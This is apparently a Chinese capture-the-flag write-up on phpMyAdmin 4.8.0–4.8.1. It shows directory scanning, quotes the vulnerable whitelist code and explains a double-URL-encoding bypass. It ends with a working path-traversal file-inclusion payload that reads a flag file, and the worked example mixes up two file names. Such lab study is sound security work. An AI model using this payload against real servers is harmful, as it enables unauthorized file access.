当我们拿到网站的时候,首先需要对这个网站进行信息收集,扩大漏洞发现的概率,比如whois、指纹识别、扫描目标站点的目录,寻找敏感信息、后台、是否存在备份文件等等,其实靶场也一样,如果觉得麻烦,也可能错过发现一个可利用的漏洞
使用御剑目录扫描出两个敏感目录robots.txt与phpmyadmin
这里还扫描出了一个文件robots.txt(告知网络搜索引擎),此网站中的哪些内容是应该或者不应该被搜索引擎的漫游器获取的)
访问phpmyadmin,注:此处无需密码
查看关于phpmyadmin4.8版本下的漏洞
-
范围:phpMyAdmin 4.8.0~4.8.1
-
任意文件包含
-
目录穿越
在index.php的50-63行代码如下
$target_blacklist = array (
'import.php', 'export.php'
);
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
需要满足当target不为空,为字符串,绕过正则表达式,在in_array函数内未匹配成功,且Core::checkPageValidity($_REQUEST['target'])
为真时,include函数将执包含并执行target
执行checkPageValidity
public static function checkPageValidity(&$page, array $whitelist = [])//$whitelist一开始为空,会被赋值为self::$goto_whitelist
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);//如果$_page在白名单中,则返回真
考虑到对url进行编码提交的情况,如果上步判断未成功,则进行url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
构造传入二次编码后的内容,checkPageValidity
这个函数返回true,但index中实际包含的内容却不是白名单中的文件
举例
上传 ?target=db_sql.php%253f
由于服务器会自动解码一次,所以在
checkPageValidity
中,$page的值一开始是db_sql.php%3f,又一次url解码后变成了db_datadict.php?,便符合了?前内容在白名单的判断,返回真 但在index.php中$_REQUEST['target']仍然是db_datadict.php%3f,则造成文件穿越漏洞
构造payload:
?target=db_sql.php%253f ../../../../../../flag